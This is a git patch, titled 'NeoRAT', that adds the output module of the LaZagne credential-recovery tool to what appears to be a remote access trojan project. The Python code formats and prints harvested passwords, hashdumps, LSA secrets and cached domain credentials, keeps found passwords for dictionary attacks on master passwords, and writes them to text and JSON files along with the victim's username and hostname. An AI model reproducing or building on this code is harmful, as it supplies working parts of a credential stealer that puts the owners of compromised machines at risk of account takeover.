From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../client_handling/lazagne/config/write_output.py | 350 +++++++++++++++++++++ 1 file changed, 350 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/write_output.py (limited to 'foreign/client_handling/lazagne/config/write_output.py') diff --git a/foreign/client_handling/lazagne/config/write_output.py b/foreign/client_handling/lazagne/config/write_output.py new file mode 100644 index 0000000..fb9a32b --- /dev/null +++ b/foreign/client_handling/lazagne/config/write_output.py @@ -0,0 +1,350 @@ +# -*- coding: utf-8 -*- +import ctypes +import getpass +import json +import logging +import os +import socket +import sys +import traceback + +from time import gmtime, strftime +from platform import uname + +from foreign.client_handling.lazagne.config.users import get_username_winapi +from foreign.client_handling.lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version +from .constant import constant + +# --------------------------- Standard output functions --------------------------- + +STD_OUTPUT_HANDLE = -11 +std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) +tmp_user = None + + +class StandardOutput(object): + def __init__(self): + self.banner = ''' +|====================================================================| +| | +| The LaZagne Project | +| | +| ! BANG BANG ! | +| | +|====================================================================| +''' + self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or + (len(repr(chr_or_byte(x))) == 4 and python_version == 3)) + and chr_or_byte(x) or b'.' for x in range(256)]) + + def set_color(self, color='white', intensity=False): + c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None) + + if intensity: + c |= 0x08 + + ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c) + + # print banner + def first_title(self): + self.do_print(message=self.banner, color='white', intensity=True) + # Python 3.7.3 on Darwin x86_64: i386 + python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname()) + self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True) + + # info option for the logging + def print_title(self, title): + t = u'------------------- ' + title + ' passwords -----------------\n' + self.do_print(message=t, color='white', intensity=True) + + # debug option for the logging + def title_info(self, title): + t = u'------------------- ' + title + ' passwords -----------------\n' + self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True) + + def print_user(self, user, force_print=False): + pass + + def print_footer(self, elapsed_time=None): + footer = '\n[+] %s passwords have been found!\n' % str(constant.nb_password_found) + if not logging.getLogger().isEnabledFor(logging.INFO): + footer += 'For more information launch it again with the -v option\n' + if elapsed_time: + footer += '\nelapsed time = ' + str(elapsed_time) + self.do_print(footer) + + def print_hex(self, src, length=8): + N = 0 + result = b'' + while src: + s, src = src[:length], src[length:] + hexa = b' '.join([b"%02X" % char_to_int(x) for x in s]) + s = s.translate(self.FILTER) + result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s) + N += length + return result + + def try_unicode(self, obj, encoding='utf-8'): + if python_version == 3: + try: + return obj.decode() + except Exception: + return obj + try: + if isinstance(obj, basestring): # noqa: F821 + if not isinstance(obj, unicode): # noqa: F821 + obj = unicode(obj, encoding) # noqa: F821 + except UnicodeDecodeError: + return repr(obj) + return obj + + # centralize print function + def do_print(self, message='', color=False, intensity=False): + # quiet mode => nothing is printed + if constant.quiet_mode: + return + + message = self.try_unicode(message) + if color: + self.set_color(color=color, intensity=intensity) + self.print_without_error(message) + self.set_color() + else: + self.print_without_error(message) + + def print_without_error(self, message): + try: + print(message.decode()) + except Exception: + try: + print(message) + except Exception: + print(repr(message)) + + def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False): + if constant.quiet_mode: + return + + try: + msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message) + except Exception: + msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message)) + + if color: + self.set_color(color, intensity) + function(msg) + self.set_color() + else: + function(msg) + + def print_output(self, software_name, pwd_found): + if pwd_found: + # if the debug logging level is not apply => print the title + if not logging.getLogger().isEnabledFor(logging.INFO): + # print the username only if password have been found + user = constant.finalResults.get('User', '') + global tmp_user + if user != tmp_user: + tmp_user = user + self.print_user(user, force_print=True) + + # if not title1: + self.print_title(software_name) + + # Particular passwords representation + to_write = [] + if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'): + pwds = pwd_found[1] + for pwd in pwds: + self.do_print(pwd) + if software_name == 'Lsa_secrets': + hex_value = self.print_hex(pwds[pwd], length=16) + to_write.append([pwd.decode(), hex_value.decode()]) + self.do_print(hex_value) + else: + to_write.append(pwd) + self.do_print() + + # Other passwords + else: + # Remove duplicated password + pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])] + + # Loop through all passwords found + for pwd in pwd_found: + + # Detect which kinds of password has been found + lower_list = [s.lower() for s in pwd] + for p in ('password', 'key', 'hash'): + pwd_category = [s for s in lower_list if p in s] + if pwd_category: + pwd_category = pwd_category[0] + break + + write_it = False + passwd = None + try: + # Do not print empty passwords + if not pwd[pwd_category.capitalize()]: + continue + + passwd = string_to_unicode(pwd[pwd_category.capitalize()]) + except Exception: + pass + + # No password found + if not passwd: + print_debug("FAILED", u'Password not found.') + else: + constant.nb_password_found += 1 + write_it = True + print_debug("OK", u'{pwd_category} found!'.format( + pwd_category=pwd_category.title())) + + # Store all passwords found on a table => for dictionary attack if master password set + if passwd not in constant.password_found: + constant.password_found.append(passwd) + + pwd_info = [] + for p in pwd: + try: + pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3) + except Exception: + pwd_line = '%s: %s' % (p, pwd[p]) + + pwd_info.append(pwd_line) + self.do_print(pwd_line) + + self.do_print() + + if write_it: + to_write.append(pwd_info) + + # write credentials into a text file + self.checks_write(to_write, software_name) + else: + print_debug("INFO", "No passwords found.\n") + + def write_header(self): + time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) + try: + hostname = socket.gethostname().decode(sys.getfilesystemencoding()) + except AttributeError: + hostname = socket.gethostname() + + header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( + banner=self.banner.replace('\n', '\r\n'), + date=str(time), + username=get_username_winapi(), + hostname=hostname + ) + with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f: + f.write(header.encode()) + + def write_footer(self): + footer = '\n[+] %s passwords have been found!\r\n\r\n' % str(constant.nb_password_found) + open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer) + + def checks_write(self, values, category): + if values: + if 'Passwords' not in constant.finalResults: + constant.finalResults['Passwords'] = [] + constant.finalResults['Passwords'].append((category, values)) + + +def print_debug(error_level, message): + # Quiet mode => nothing is printed + if constant.quiet_mode: + return + + # print when password is found + if error_level == 'OK': + constant.st.do_print(message='[+] {message}'.format(message=message), color='green') + + # print when password is not found + elif error_level == 'FAILED': + constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True) + + elif error_level == 'CRITICAL' or error_level == 'ERROR': + constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True) + + elif error_level == 'WARNING': + constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan') + + elif error_level == 'DEBUG': + constant.st.print_logging(function=logging.debug, message=message, prefix='[!]') + + else: + constant.st.print_logging(function=logging.info, message=message, prefix='[!]') + +# --------------------------- End of output functions --------------------------- + +def json_to_string(json_string): + string = u'' + try: + for json in json_string: + if json: + string += u'################## User: {username} ################## \r\n'.format(username=json['User']) + if 'Passwords' not in json: + string += u'\r\nNo passwords found for this user.\r\n\r\n' + else: + for pwd_info in json['Passwords']: + category, pwds_tab = pwd_info + + string += u'\r\n------------------- {category} -----------------\r\n'.format( + category=category) + + if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'): + for pwds in pwds_tab: + if category.lower() == 'lsa_secrets': + for d in pwds: + string += u'%s\r\n' % (constant.st.try_unicode(d)) + else: + string += u'%s\r\n' % (constant.st.try_unicode(pwds)) + else: + for pwds in pwds_tab: + string += u'\r\nPassword found!\r\n' + for pwd in pwds: + try: + name, value = pwd.split(':', 1) + string += u'%s: %s\r\n' % ( + name.strip(), constant.st.try_unicode(value.strip())) + except Exception: + print_debug('DEBUG', traceback.format_exc()) + string += u'\r\n' + except Exception: + print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc())) + + return string + + +def write_in_file(result): + """ + Write output to file (json and txt files) + """ + if result: + if constant.output in ('json', 'all'): + try: + # Human readable Json format + pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False) + with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f: + f.write(pretty_json.encode()) + + constant.st.do_print(u'[+] File written: {file}'.format( + file=os.path.join(constant.folder_name, constant.file_name_results + '.json')) + ) + except Exception as e: + print_debug('DEBUGG', traceback.format_exc()) + + if constant.output in ('txt', 'all'): + try: + with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f: + a = json_to_string(result) + f.write(a.encode()) + + constant.st.write_footer() + constant.st.do_print(u'[+] File written: {file}'.format( + file=os.path.join(constant.folder_name, constant.file_name_results + '.txt')) + ) + except Exception as e: + print_debug('DEBUG', traceback.format_exc()) -- cgit v1.2.3